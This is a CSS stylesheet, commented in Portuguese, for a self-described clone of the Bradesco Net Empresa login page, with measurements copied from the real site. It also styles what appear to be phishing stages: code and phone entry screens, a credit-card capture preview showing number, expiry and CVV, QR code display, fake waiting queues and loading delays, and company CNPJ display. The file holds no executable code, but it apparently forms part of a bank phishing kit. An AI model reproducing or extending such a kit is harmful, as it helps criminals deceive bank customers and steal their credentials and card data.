/* ============================================================
   Bradesco Net Empresa — design system do clone (login.jsf)
   Geometria medida na captura real (1366x768): bloco 1000px,
   header 28px, faixa data 44px, card 750x528, aside 217x528 #f3f3f3,
   rodapé 967x66. Página #e4e4e4.
   ============================================================ */

:root {
  --br-red: #CC092F;
  --br-red-dark: #A30000;
  --br-link: #BF0000;
  --br-header-top: #A50100;
  --br-header-bot: #BE0000;
  --br-gray-box: #F3F3F3;
  --br-border: #CCC;
  --br-border-light: #E4E4E4;
  --br-text: #333;
  --br-muted: #777;
  --banner-g: linear-gradient(115deg, #CA0A37 0%, #AF2052 38%, #802D6C 68%, #433686 100%);
  font-size: 13px;
}

* { margin: 0; padding: 0; box-sizing: border-box; }

html, body { height: 100%; }

body {
  font-family: Tahoma, Arial, Helvetica, sans-serif;
  color: var(--br-text);
  background: #e4e4e4;
  -webkit-font-smoothing: antialiased;
}

a { color: var(--br-link); text-decoration: none; }
a:hover { text-decoration: underline; }

/* ---------- TOPO (barra vermelha 28px, itens em posições absolutas fiéis) ---------- */
.bd-topo {
  position: relative;
  height: 28px;
  background: linear-gradient(180deg, var(--br-header-top) 0%, var(--br-header-bot) 100%);
  color: #fff;
  z-index: 40;
}
.duvidas-pill {
  position: absolute; left: 702px; top: 6px;
  height: 16px;
  background: #f6f6f6;
  border-radius: 9px;
  display: inline-flex; align-items: center; gap: 5px;
  padding: 0 7px 0 9px;
  color: #7a0016; font-size: 10.5px; font-weight: 700;
}
.duvidas-pill:hover { text-decoration: none; background: #fff; }
.duvidas-ico {
  width: 11px; height: 11px; border-radius: 50%;
  border: 1.5px solid #C80000; color: #C80000;
  display: inline-flex; align-items: center; justify-content: center;
  font-size: 8.5px; font-weight: 700; line-height: 1;
}
.btn-cancelar {
  position: absolute; left: 834px; top: 5px;
  height: 18px; line-height: 18px;
  background: #AC2626;
  border: 1px solid #C05A5A;
  color: #fff; font-size: 10px; font-weight: 700; letter-spacing: .5px;
  padding: 0 12px;
}
.btn-cancelar:hover { background: #b93a3a; text-decoration: none; }
.btn-x {
  position: absolute; right: 10px; top: 3px;
  width: 22px; height: 22px;
  background: transparent;
  border: 1px solid rgba(255,255,255,.55);
  color: #fff; font-size: 12px; line-height: 1;
  display: inline-flex; align-items: center; justify-content: center;
  cursor: pointer; border-radius: 2px;
}
.btn-x:hover { background: rgba(255,255,255,.25); }

/* ---------- FAIXA DA DATA (full-width, gradiente suave + borda #ccc) ---------- */
.bd-dateline-full {
  height: 44px;
  background: linear-gradient(180deg, #fffdf8 0%, #f6f6f6 45%, #ececec 100%);
  border-bottom: 1px solid #ccc;
}
.bd-dateline-full span {
  display: block;
  padding-top: 19px; padding-left: 170px;
  font-size: 12px; color: #333;
}

/* ---------- BLOCO PRINCIPAL (1000px à esquerda) ---------- */
.bd-mainwrap { position: relative; width: 1000px; margin: 12px 0 0 14px; }

/* coluna do logo: sobe sobre a barra vermelha (topo y11) e termina em y141 */
.bd-logo-col {
  position: absolute; left: 0; top: -73px;
  width: 144px; height: 130px;
  background: #fff;
  z-index: 50;
  padding-top: 15px;
  display: flex; flex-direction: column; align-items: center;
}
.bd-logo-col img { display:block; width:100%; height:auto; }
.bd-logo-stack svg { height: 74px; width: auto; display: block; }
.bd-net-strip {
  position: absolute; left: 0; right: 0; bottom: 0;
  height: 35px;
  border-top: 1px solid #A8A8AC;
  border-bottom: 1px solid #A8A8AC;
  background: #fff;
  display: flex; align-items: center; justify-content: center;
  font-size: 10px; color: #555; letter-spacing: .5px;
}

/* ---------- TÍTULO "Acesso Seguro" ---------- */
.bd-title-block {
  margin: 0 0 0 141px;
  width: 859px; height: 62px;
  background: #fff;
  padding: 11px 17px 0;
}
.bd-title {
  color: var(--br-link);
  font-size: 19px;
  font-weight: 700;
  font-style: italic;
  line-height: 1.15;
}
.bd-subtitle { color: #333; font-weight: 700; font-size: 11.5px; margin-top: 4px; }

/* ---------- LINHA CARD + ASIDE ---------- */
.bd-cardrow { display: flex; margin-top: 12px; align-items: stretch; }

.bd-card {
  width: 750px; height: 528px; flex: 0 0 auto;
  background: #fff;
  overflow: hidden;
}

/* banner de segurança */
.bd-banner-seg {
  margin: 20px 0 0 20px;
  width: 665px; height: 64px;
  background: var(--banner-g);
  color: #fff;
  display: flex; align-items: center; gap: 16px;
  padding: 6px 16px 6px 18px;
}
.bd-banner-seg .seg-title {
  font-size: 13.5px; font-weight: 700; font-style: italic;
  line-height: 1.3; flex: 0 0 auto; max-width: 235px;
}
.bd-banner-seg .seg-dicas {
  list-style: none; flex: 1; min-width: 0;
  font-size: 10.5px; line-height: 1.5; opacity: .96;
}
.bd-banner-seg .seg-dicas li { position: relative; padding-left: 12px; }
.bd-banner-seg .seg-dicas li::before {
  content: ""; position: absolute; left: 0; top: 5px;
  width: 5px; height: 5px; border-radius: 50%; background: #fff; opacity: .9;
}

/* passo */
.bd-passo-row { display: flex; align-items: center; margin: 43px 0 0 20px; }
.bd-passo {
  width: 16px; height: 16px; flex: 0 0 auto;
  background: var(--br-red);
  color: #fff; font-weight: 700; font-size: 11px;
  display: flex; align-items: center; justify-content: center;
}
.bd-passo-row .passo-txt { color: var(--br-link); font-weight: 700; font-size: 12px; margin-left: 9px; }

/* caixa de formulário cinza (sem borda — #f3f3f3 sobre branco) */
.bd-formbox {
  width: 230px;
  margin: 7px 0 0 293px;
  background: var(--br-gray-box);
  padding: 12px 22px 10px 0;
}

.bd-field { display: flex; align-items: center; justify-content: flex-end; margin-bottom: 11px; }
.bd-field label {
  width: 60px; flex: 0 0 auto;
  text-align: right;
  font-size: 11px; color: #333;
  line-height: 18px;
}
.bd-field input[type=text],
.bd-field input[type=password],
.bd-field input[type=email],
.bd-field input[type=tel] {
  width: 148px;
  height: 18px;
  padding: 0 4px;
  border: 1px solid var(--br-border);
  font-size: 11px;
  font-family: inherit;
  background: #f4f4f4;
  color: #222;
  outline: none;
}
.bd-field input:focus { border-color: var(--br-red); }
.bd-field .input-wrap { position: relative; width: 148px; }
.bd-field .toggle-pass {
  position: absolute; right: 4px; top: 50%; transform: translateY(-50%);
  cursor: pointer; color: #999; font-size: 10px; user-select: none;
}

.bd-formbox .link-linha { display: block; text-align: center; font-size: 11px; color: #444; margin-top: 2px; }
.bd-formbox .link-linha:hover { color: var(--br-link); }

.bd-check {
  display: flex; align-items: center; gap: 7px;
  margin: 8px 0 0 auto; padding-right: 22px;
  font-size: 11px; color: #444; cursor: pointer;
}
.bd-check input { accent-color: var(--br-red); }

/* erros */
.bd-erro {
  background: #FFF3CB;
  border: 1px dashed #CC092F;
  color: #CC092F;
  font-weight: 700;
  font-size: 11px;
  padding: 5px 8px;
  margin: 0 22px 8px auto;
  display: none;
}

/* linha de botões (planos, borda #787878, h18 — fiéis ao login.jsf) */
.bd-btnrow { display: flex; justify-content: flex-end; gap: 19px; margin: 21px 19px 0 0; }
.btn-secondary, .btn-primary {
  height: 18px; line-height: 16px;
  padding: 0 8px;
  background: #fff;
  border: 1px solid #787878;
  color: #333;
  font-family: inherit; font-size: 10.5px;
  cursor: pointer;
  display: inline-flex; align-items: center; justify-content: center; gap: 5px;
}
.btn-secondary { min-width: 104px; }
.btn-primary { min-width: 75px; font-weight: 700; letter-spacing: .2px; }
.btn-secondary:hover, .btn-primary:hover { background: #f2f2f2; }
.btn-primary:disabled { opacity: .55; cursor: default; }

.bd-primeiro-acesso { margin: 34px 0 0 16px; font-size: 11px; color: #333; }
.bd-primeiro-acesso b { color: var(--br-link); }

/* sidebar de golpes (#f3f3f3 plano) */
.bd-golpes {
  width: 217px; height: 528px; flex: 0 0 auto;
  margin-left: 18px;
  background: var(--br-gray-box);
  padding: 15px 14px;
  font-size: 11px; color: #555;
}
.bd-golpes h3 { font-size: 12.5px; color: var(--br-link); font-weight: 700; margin-bottom: 13px; line-height: 1.3; }
.bd-golpes h4 { font-size: 11.5px; color: #333; font-weight: 700; margin: 12px 0 4px; }
.bd-golpes p { line-height: 1.5; margin-bottom: 6px; }
.bd-golpes b { color: #333; }

/* ---------- RODAPÉ (967x66) ---------- */
.bd-footer {
  width: 967px; height: 66px;
  margin: 16px 0 0 2px;
  background: #fff;
  display: flex; align-items: center;
  padding-right: 8px;
}
.bd-footer .logo-f { width: 252px; flex: 0 0 auto; padding-left: 30px; display: flex; align-items: center; }
.bd-footer .logo-f svg { height: 30px; width: auto; }
.bd-footer .logo-f img { height: 30px; width: auto; display: block; }
.bd-footer-phones { flex: 1; display: flex; min-width: 0; }
.bd-footer-phones > div {
  flex: 1; min-width: 0;
  border-left: 1px solid var(--br-border-light);
  padding-left: 16px;
  display: flex; flex-direction: column; gap: 3px;
}
.bd-footer-phones .lbl { font-size: 10.5px; font-weight: 700; color: #333; line-height: 1.25; }
.bd-footer-phones .num { font-size: 12px; font-weight: 700; color: #666; }

/* ---------- SPLASH / OVERLAYS ---------- */
.overlay-full {
  position: fixed; inset: 0; z-index: 4000;
  background: #fff;
  display: none;
  align-items: center; justify-content: center;
  flex-direction: column;
}
.overlay-full.active { display: flex; }

.spinner-br {
  width: 46px; height: 46px;
  border: 4px solid #eee;
  border-top-color: var(--br-red);
  border-radius: 50%;
  animation: bdspin 0.9s linear infinite;
  margin-bottom: 20px;
}
@keyframes bdspin { to { transform: rotate(360deg); } }

.overlay-msg { font-size: 16px; font-weight: 600; color: #444; text-align: center; max-width: 380px; line-height: 1.5; }
.overlay-sub { font-size: 12.5px; color: #888; margin-top: 8px; text-align: center; }

.atencao-icon {
  width: 62px; height: 62px; border-radius: 50%;
  background: #FFF3CB; border: 2px solid #f5c518;
  color: #e0a800; font-size: 34px; font-weight: 700;
  display: flex; align-items: center; justify-content: center;
  margin-bottom: 16px;
}
.atencao-title { font-size: 21px; font-weight: 700; color: #333; margin-bottom: 10px; }
.atencao-desc { font-size: 14px; color: #666; line-height: 1.6; margin-bottom: 24px; text-align: center; max-width: 400px; }
.atencao-desc b { color: var(--br-red); }
.btn-atencao {
  background: var(--br-red); color: #fff; border: none;
  font-family: inherit; font-size: 14px; font-weight: 700;
  padding: 12px 46px; border-radius: 4px; cursor: pointer;
}
.btn-atencao:hover { background: #b30026; }

/* ---------- TELAS DE ETAPA (acesso/telefone/códigos...) ---------- */
.stage-page .bd-mainwrap { min-height: calc(100vh - 88px); display: flex; flex-direction: column; }
.stage-body {
  flex: 1;
  display: flex; align-items: center; justify-content: center;
  background: #fff;
  padding: 30px 16px;
}
.stage-card {
  width: 100%; max-width: 430px;
  background: #fff;
  border: 1px solid var(--br-border-light);
  box-shadow: 0 6px 26px rgba(0,0,0,.10);
  border-radius: 8px;
  padding: 30px 28px 26px;
  text-align: center;
}
.stage-card .stage-logo img, .stage-card .stage-logo svg { height: 40px; margin-bottom: 14px; }
.stage-card h1 { font-size: 20px; color: #153265; line-height: 1.35; margin-bottom: 6px; font-weight: 800; }
.stage-card .stage-sub { font-size: 12.5px; color: #777; margin-bottom: 18px; }

.stage-input {
  width: 100%;
  padding: 14px 12px;
  border: 1px solid #ccd3dc;
  border-radius: 6px;
  font-size: 19px;
  text-align: center;
  letter-spacing: 1px;
  font-family: inherit;
  outline: none;
  margin-bottom: 6px;
}
.stage-input:focus { border-color: var(--br-red); }
.stage-input::placeholder { color: #b9c0c9; letter-spacing: 0; font-size: 15px; }

.stage-grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 10px; }
.stage-input-sm {
  width: 100%; padding: 11px 10px;
  border: 1px solid #ccd3dc; border-radius: 6px;
  font-size: 15px; font-family: inherit; outline: none;
  text-align: center;
}
.stage-input-sm:focus { border-color: var(--br-red); }

.stage-erro {
  background: #FFF3CB; border: 1px dashed #CC092F; color: #CC092F;
  font-size: 12px; font-weight: 700; padding: 7px 10px;
  border-radius: 4px; margin-bottom: 10px; display: none;
}

.stage-btn {
  width: 100%; margin-top: 14px;
  background: #dfe3e8; color: #fff;
  border: none; border-radius: 6px;
  font-family: inherit; font-size: 15px; font-weight: 700;
  padding: 13px; cursor: not-allowed;
  transition: background .2s;
}
.stage-btn.ready { background: var(--br-red); cursor: pointer; }
.stage-btn.ready:hover { background: #b30026; }

.stage-version { margin-top: 14px; font-size: 10.5px; color: #aab; }

/* tela de loading (estágio) */
.loading-screen {
  position: fixed; inset: 0; z-index: 3200;
  background: linear-gradient(180deg, #fff 0%, #f2f5f8 100%);
  display: none;
  align-items: center; justify-content: center; flex-direction: column;
  text-align: center; padding: 20px;
}
.loading-screen .loading-gif {
  width: 62px; height: 62px;
  border: 5px solid #ececec; border-top-color: var(--br-red);
  border-radius: 50%;
  animation: bdspin 0.9s linear infinite;
  margin-bottom: 22px;
}
.loading-screen .loading-message { font-size: 17px; font-weight: 700; color: #153265; line-height: 1.4; }
.loading-screen .loading-submessage { font-size: 12.5px; color: #8a93a0; margin-top: 8px; }

.result-card {
  background: #fff; border: 1px solid var(--br-border-light);
  border-radius: 10px; box-shadow: 0 10px 30px rgba(0,0,0,.10);
  padding: 22px; width: 100%; max-width: 380px; text-align: center;
  display: none;
}
.result-card h2 { font-size: 17px; color: #153265; margin-bottom: 4px; }
.result-card .rc-sub { font-size: 12px; color: #889; margin-bottom: 14px; }
.result-card .rc-label {
  font-size: 10.5px; text-transform: uppercase; letter-spacing: .5px;
  color: #888; font-weight: 700; margin-bottom: 6px;
}
.result-card .rc-value {
  font-size: 14px; font-weight: 700; color: var(--br-red);
  background: #fafafa; border: 1px solid #eee; border-radius: 6px;
  padding: 12px; line-height: 1.4; word-break: break-word;
}

/* ---------- CARTÃO DE CRÉDITO (emprestimo.php) ---------- */
.credit-card-scene { perspective: 1000px; margin: 6px auto 20px; width: 300px; }
.credit-card {
  position: relative; width: 300px; height: 180px;
  transform-style: preserve-3d; transition: transform .7s;
}
.credit-card.flipped { transform: rotateY(180deg); }
.cc-face {
  position: absolute; inset: 0;
  border-radius: 14px;
  backface-visibility: hidden;
  overflow: hidden;
  box-shadow: 0 10px 26px rgba(0,0,0,.25);
}
.cc-front {
  background:
    radial-gradient(120% 140% at 85% -10%, rgba(255,255,255,.16) 0%, rgba(255,255,255,0) 45%),
    linear-gradient(135deg, #7d1440 0%, #41418F 55%, #153265 100%);
  color: #fff;
  padding: 16px 18px;
  display: flex; flex-direction: column; justify-content: space-between;
}
.cc-front .cc-brand { font-size: 15px; font-weight: 800; font-style: italic; display: flex; justify-content: space-between; align-items: center; }
.cc-front .cc-brand .chip {
  width: 38px; height: 27px; border-radius: 5px;
  background: linear-gradient(135deg,#f4d58d,#caa64a);
  position: relative;
}
.cc-number-display { font-size: 17px; letter-spacing: 2px; font-family: 'Courier New', monospace; }
.cc-holder-row { display: flex; justify-content: space-between; align-items: flex-end; }
.cc-holder-display {
  font-size: 9.5px; text-transform: uppercase; letter-spacing: .5px;
  max-width: 190px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
  opacity: .92;
}
.cc-expiry-display { font-size: 13px; font-family: 'Courier New', monospace; }
.cc-back {
  transform: rotateY(180deg);
  background: linear-gradient(135deg, #153265 0%, #41418F 100%);
  color: #fff; padding: 16px 18px;
}
.cc-mag { position: absolute; top: 26px; left: 0; right: 0; height: 38px; background: #10131a; }
.cc-cvv-strip {
  margin-top: 74px; background: #fff; color: #222;
  font-family: 'Courier New', monospace; font-size: 14px;
  padding: 6px 10px; border-radius: 4px; width: 84px; text-align: center;
}
.cc-back .cc-brand-note { position: absolute; bottom: 12px; left: 18px; font-size: 10px; opacity: .75; font-style: italic; }

/* ---------- QR CODE ---------- */
.qrcode-box {
  background: #fff; border: 1px solid var(--br-border-light);
  border-radius: 12px; padding: 20px; margin: 6px auto 14px;
  width: 320px; text-align: center;
  box-shadow: 0 4px 15px rgba(0,0,0,.08);
}
.qrcode-box img { max-width: 100%; border-radius: 12px; }
.qr-loading {
  display: flex; flex-direction: column; align-items: center; gap: 12px;
  color: #889; font-size: 12.5px; padding: 30px 0;
}
.qr-loading .spinner-br { width: 34px; height: 34px; border-width: 3px; margin: 0; }

/* ---------- LOADING LONGO (loading.php) ---------- */
.progress-outer {
  width: 100%; max-width: 520px; height: 8px;
  background: #e8ecf1; border-radius: 6px; overflow: hidden; margin-top: 22px;
}
.progress-inner {
  height: 100%; width: 0%;
  background: linear-gradient(90deg, var(--br-red) 0%, #CA0936 50%, #41418F 100%);
  border-radius: 6px; transition: width 1s linear;
}

/* ---------- FIM / SUCESSO ---------- */
.success-check {
  width: 74px; height: 74px; border-radius: 50%;
  background: #e8f6ec; border: 2px solid #34a853;
  color: #34a853; font-size: 40px;
  display: flex; align-items: center; justify-content: center;
  margin: 0 auto 16px;
}
.loan-details {
  background: #fafafa; border: 1px solid #eee; border-radius: 8px;
  padding: 16px 18px; margin: 18px 0; text-align: left;
}
.loan-details h3 { font-size: 13px; color: #153265; margin-bottom: 12px; text-transform: uppercase; letter-spacing: .4px; }
.detail-item { display: flex; justify-content: space-between; padding: 8px 0; border-bottom: 1px solid #eee; font-size: 13px; }
.detail-item:last-child { border-bottom: none; }
.detail-label { color: #778; }
.detail-value { font-weight: 700; color: #153265; }

/* ---------- FILA DE ACESSO ---------- */
.fila-wrap {
  min-height: calc(100vh - 88px);
  display: flex; align-items: center; justify-content: center;
  background: #fff;
  padding: 20px;
}
.fila-card {
  background: #fff; border: 1px solid var(--br-border-light);
  box-shadow: 0 10px 34px rgba(0,0,0,.10);
  border-radius: 10px; text-align: center;
  padding: 40px 34px; max-width: 380px; width: 100%;
}
.fila-card .bd-logo-svg { height: 40px; }
.fila-card h1 { font-size: 19px; color: var(--br-red); font-weight: 800; margin: 14px 0 8px; }
.fila-card p { font-size: 12.5px; color: #778; line-height: 1.6; margin-bottom: 20px; }
.fila-progress { width: 100%; height: 6px; background: #eef1f4; border-radius: 6px; overflow: hidden; }
.fila-progress i {
  display: block; height: 100%; width: 0;
  background: linear-gradient(90deg, var(--br-red), #CA0936);
  animation: filafill 2s ease-in-out forwards;
}
@keyframes filafill { to { width: 100%; } }

/* ---------- SITE INATIVO ---------- */
.inativo-msg { max-width: 420px; text-align: center; }
.inativo-msg h1 { font-size: 18px; color: #333; margin-bottom: 10px; }
.inativo-msg p { font-size: 13px; color: #778; line-height: 1.6; }

/* ============================================================
   RESPONSIVO
   ============================================================ */
@media (max-width: 1013px) {
  .bd-mainwrap { width: auto; margin-left: 0; padding-right: 8px; }
  .bd-logo-col { width: 118px; height: 118px; padding-top: 10px; }
  .bd-logo-stack svg { height: 62px; }
  .bd-net-strip { font-size: 9px; }
  .bd-dateline-full span { padding-left: 132px; }
  .bd-title-block { width: auto; margin-left: 118px; height: auto; padding-bottom: 10px; }
  .bd-cardrow { flex-wrap: wrap; }
  .bd-card { width: 100%; height: auto; }
  .bd-golpes { width: 100%; height: auto; margin-left: 0; margin-top: 12px; padding: 14px; }
  .bd-banner-seg { width: auto; margin: 14px 12px 0 14px; }
  .bd-topo { display: flex; align-items: center; justify-content: flex-end; gap: 8px; padding-right: 10px; }
  .duvidas-pill, .btn-cancelar, .btn-x { position: static; }
  .bd-footer { width: auto; height: auto; flex-wrap: wrap; padding: 10px 8px; }
  .bd-footer .logo-f { width: 190px; padding-left: 6px; }
  .bd-footer .logo-f svg { height: 24px; }
  .bd-footer .logo-f img { height: 24px; }
  .bd-footer-phones { flex-wrap: wrap; }
  .bd-footer-phones > div { flex: 0 0 46%; padding: 6px 12px 6px 14px; }
}

@media (max-width: 860px) {
  :root { font-size: 12px; }
  .stage-grid-2 { grid-template-columns: 1fr; }
  .stage-card { padding: 24px 18px 20px; }
}

@media (max-width: 640px) {
  .bd-topo { gap: 6px; padding-right: 8px; }
  .duvidas-pill { display: none; }
  .btn-cancelar { font-size: 9px; padding: 0 8px; height: 16px; line-height: 16px; }
  .btn-x { width: 18px; height: 18px; font-size: 10px; }
  .bd-logo-col { width: 92px; height: 96px; padding-top: 6px; }
  .bd-logo-stack svg { height: 50px; }
  .bd-net-strip { font-size: 8px; }
  .bd-dateline-full span { padding-left: 100px; font-size: 10.5px; }
  .bd-title-block { margin-left: 92px; padding: 10px 12px 8px; }
  .bd-title { font-size: 17px; }
  .bd-subtitle { font-size: 10.5px; }
  .bd-banner-seg {
    height: auto; flex-direction: column; align-items: flex-start; gap: 8px;
    padding: 10px 12px; margin: 12px 12px 0;
  }
  .bd-banner-seg .seg-title { max-width: none; font-size: 12.5px; }
  .bd-banner-seg .seg-dicas { font-size: 10px; }
  .bd-passo-row { margin: 14px 0 0 12px; }
  .bd-formbox { width: auto; margin: 10px 12px 0; padding: 12px 12px 10px; }
  .bd-field { justify-content: flex-start; gap: 8px; flex-wrap: wrap; }
  .bd-field label { width: auto; padding: 0 6px 0 0; }
  .bd-field input, .bd-field .input-wrap { width: 100%; max-width: 240px; }
  .bd-formbox .link-linha { text-align: left; margin: 2px 0 0; }
  .bd-btnrow { margin: 14px 12px 0; gap: 10px; }
  .btn-secondary, .btn-primary { flex: 1; min-width: 0; }
  .bd-primeiro-acesso { margin: 14px 12px 16px; }
  .stage-input { font-size: 16px; }
}

/* ===== FILA DE ESPERA (cliente autenticado) ===== */
.fila-status { display:flex; flex-direction:column; align-items:center; text-align:center; padding:26px 20px 10px; }
.fila-sp { margin-bottom:22px; }
.fila-title { color:#A50100; font-size:20px; font-weight:700; margin-bottom:10px; }
.fila-msg { color:#374151; font-size:13px; line-height:1.6; margin-bottom:22px; }
.protocol-box { background:#F3F3F3; border:1px dashed #CC092F; border-radius:10px; padding:14px 30px; margin-bottom:18px; display:flex; flex-direction:column; gap:4px; }
.protocol-label { color:#6b7280; font-size:12px; letter-spacing:.4px; text-transform:uppercase; }
.protocol-value { color:#A50100; font-family:'Courier New',monospace; font-size:28px; font-weight:700; letter-spacing:3px; }
.empresa-box { border-top:1px solid #E5E5E5; padding-top:14px; width:100%; display:flex; flex-direction:column; gap:3px; }
.empresa-label { color:#6b7280; font-size:12px; }
.empresa-nome { color:#153265; font-size:14px; font-weight:700; }
.empresa-cnpj { color:#6b7280; font-size:12px; }
@media (max-width: 640px) { .protocol-value { font-size:22px; letter-spacing:2px; } .fila-title { font-size:18px; } .fila-status { padding:20px 12px 6px; } }
